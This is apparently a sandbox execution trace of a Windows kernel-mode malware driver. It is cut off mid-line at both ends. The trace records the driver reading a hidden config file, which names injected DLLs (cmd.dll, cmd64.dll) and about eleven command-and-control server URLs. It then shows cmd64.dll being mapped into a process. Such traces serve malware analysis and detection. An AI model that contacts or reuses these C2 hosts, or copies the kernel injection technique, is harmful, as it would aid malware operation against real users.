(in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.546] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0066.546] IdePortDispatch () returned 0x103 [0066.546] KeWaitForMutexObject () returned 0x0 [0066.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0066.546] strncpy (in: _Dest=0xfffffa80027db058, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0066.546] FsRtlInitializeFileLock (FileLock=0xfffffa80027db068, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0066.546] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003432c20 [0066.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.546] KeLeaveCriticalRegion () [0066.546] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.546] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x80000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0066.546] NtLockFile (in: FileHandle=0xffffffff8000017c, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0066.546] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.546] KeEnterCriticalRegion () [0066.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.547] FsRtlProcessFileLock (FileLock=0xfffffa80027db068, Irp=0xfffffa80018af570, Context=0x0) returned 0x0 [0066.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.547] KeLeaveCriticalRegion () [0066.547] ZwQueryInformationFile (in: FileHandle=0xffffffff8000017c, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0066.547] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.547] KeEnterCriticalRegion () [0066.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.547] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0066.547] IdePortDispatch () returned 0x103 [0066.547] KeWaitForMutexObject () returned 0x0 [0066.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0066.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.547] KeLeaveCriticalRegion () [0066.547] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.547] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a0000f71f0 [0066.547] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0066.547] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0066.547] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0066.547] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0066.547] ZwReadFile (in: FileHandle=0xffffffff8000017c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0000f71f0, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0000f71f0*) returned 0x0 [0066.547] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.548] KeEnterCriticalRegion () [0066.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88007f071f0 [0066.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003426010 [0066.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003426010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003426010) [0066.548] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0066.548] IdePortDispatch () returned 0x103 [0066.548] KeWaitForMutexObject () returned 0x0 [0066.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0066.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003426010 [0066.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003426010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003426010) [0066.548] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0066.548] IdePortDispatch () returned 0x103 [0066.548] KeWaitForMutexObject () returned 0x0 [0066.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.548] KeLeaveCriticalRegion () [0066.548] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.549] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0066.549] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0066.549] strncpy (in: _Dest=0xfffffa800344cbc4, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0066.549] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x80000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0066.549] ExFreePoolWithTag (P=0xfffff8a0000f71f0, Tag=0x0) [0066.549] ZwClose (Handle=0xffffffff8000017c) returned 0x0 [0066.549] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.549] KeEnterCriticalRegion () [0066.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.549] IoGetRequestorProcess (Irp=0xfffffa80018af570) returned 0xfffffa80018ab040 [0066.549] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800342e490, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0066.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.549] KeLeaveCriticalRegion () [0066.549] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.549] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0066.549] KeEnterCriticalRegion () [0066.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.549] ExFreePoolWithTag (P=0xfffffa8003432c20, Tag=0x0) [0066.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.549] KeLeaveCriticalRegion () [0066.549] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.549] KeStackAttachProcess (in: PROCESS=0xfffffa80029dbb30, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa80029dbb30, ApcState=0xfffff88002f9da58) [0066.549] _snwprintf (in: _Dest=0xfffffa800344c9bc, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0066.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0066.549] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff8000017c, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0066.549] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0066.549] KeEnterCriticalRegion () [0066.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.550] KeInitializeEvent (in: Event=0xfffff88002f9cfc0, Type=0x0, State=0 | out: Event=0xfffff88002f9cfc0) [0066.550] IdePortDispatch () returned 0x103 [0066.550] KeWaitForMutexObject () returned 0x0 [0066.550] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0066.550] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0066.550] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.550] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.550] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.550] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0066.550] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0066.550] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0066.550] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0066.550] strncpy (in: _Dest=0xfffffa80027db058, _Source="cmd64.dll", _Count=0x10 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0066.550] FsRtlInitializeFileLock (FileLock=0xfffffa80027db068, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0066.550] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003430ce0 [0066.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.550] KeLeaveCriticalRegion () [0066.550] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.550] ZwCreateSection (in: SectionHandle=0xfffff88002f9d9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff8000017c | out: SectionHandle=0xfffff88002f9d9e0*=0x5c) returned 0x0 [0066.550] _snprintf (in: _Dest=0xfffff88002f9d260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0066.551] KeEnterCriticalRegion () [0066.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.551] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.551] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.551] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.551] KeInitializeEvent (in: Event=0xfffff88002f9d0f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0f0) [0066.551] IdePortDispatch () returned 0x103 [0066.551] KeWaitForMutexObject () returned 0x0 [0066.551] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0066.551] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0066.551] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.551] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.551] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.551] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0066.551] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0066.551] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0066.551] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0066.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.551] KeLeaveCriticalRegion () [0066.551] IofCompleteRequest (Irp=0xfffffa80018af570, PriorityBoost=0) [0066.551] ZwMapViewOfSection (in: SectionHandle=0x5c, ProcessHandle=0xffffffff80000178, BaseAddress=0xfffff88002f9d9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f9da00, InheritDisposition=0xfffff88000000002, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f9d9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f9da00*=0x6000) returned 0x0 [0066.551] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0066.551] _snprintf (in: _Dest=0xfffff88002f9d390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0066.551] KeEnterCriticalRegion () [0066.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0066.552] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88007f08000 [0066.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.552] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.552] IdePortDispatch () returned 0x103 [0066.552] KeWaitForMutexObject () returned 0x0 [0066.552] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0066.552] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0066.552] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.552] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.552] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0066.552] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0066.552] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0066.552] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0066.552] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0066.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.552] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.552] IdePortDispatch () returned 0x103 [0066.552] KeWaitForMutexObject () returned 0x0 [0066.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.553] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.553] IdePortDispatch () returned 0x103 [0066.553] KeWaitForMutexObject () returned 0x0 [0066.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.553] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.553] IdePortDispatch () returned 0x103 [0066.554] KeWaitForMutexObject () returned 0x0 [0066.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.554] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.554] IdePortDispatch () returned 0x103 [0066.554] KeWaitForMutexObject () returned 0x0 [0066.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.554] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.554] IdePortDispatch () returned 0x103 [0066.554] KeWaitForMutexObject () returned 0x0 [0066.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.555] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.555] IdePortDispatch () returned 0x103 [0066.555] KeWaitForMutexObject () returned 0x0 [0066.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.555] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.555] IdePortDispatch () returned 0x103 [0066.555] KeWaitForMutexObject () returned 0x0 [0066.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.555] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.555] IdePortDispatch () returned 0x103 [0066.556] KeWaitForMutexObject () returned 0x0 [0066.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.556] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.556] IdePortDispatch () returned 0x103 [0066.556] KeWaitForMutexObject () returned 0x0 [0066.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.556] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.556] IdePortDispatch () returned 0x103 [0066.556] KeWaitForMutexObject () returned 0x0 [0066.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.557] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.557] IdePortDispatch () returned 0x103 [0066.557] KeWaitForMutexObject () returned 0x0 [0066.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.557] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.557] IdePortDispatch () returned 0x103 [0066.558] KeWaitForMutexObject () returned 0x0 [0066.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80021e92b0 | out: Irp=0xfffffa80021e92b0) returned 0xfffffa8003436b10 [0066.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003436b10, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003436b10) [0066.558] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0066.558] IdePortDispatch () returned 0x103 [0066.558] KeWaitForMutexObject () returned 0x0 [0066.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80021e92b0 [0066.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 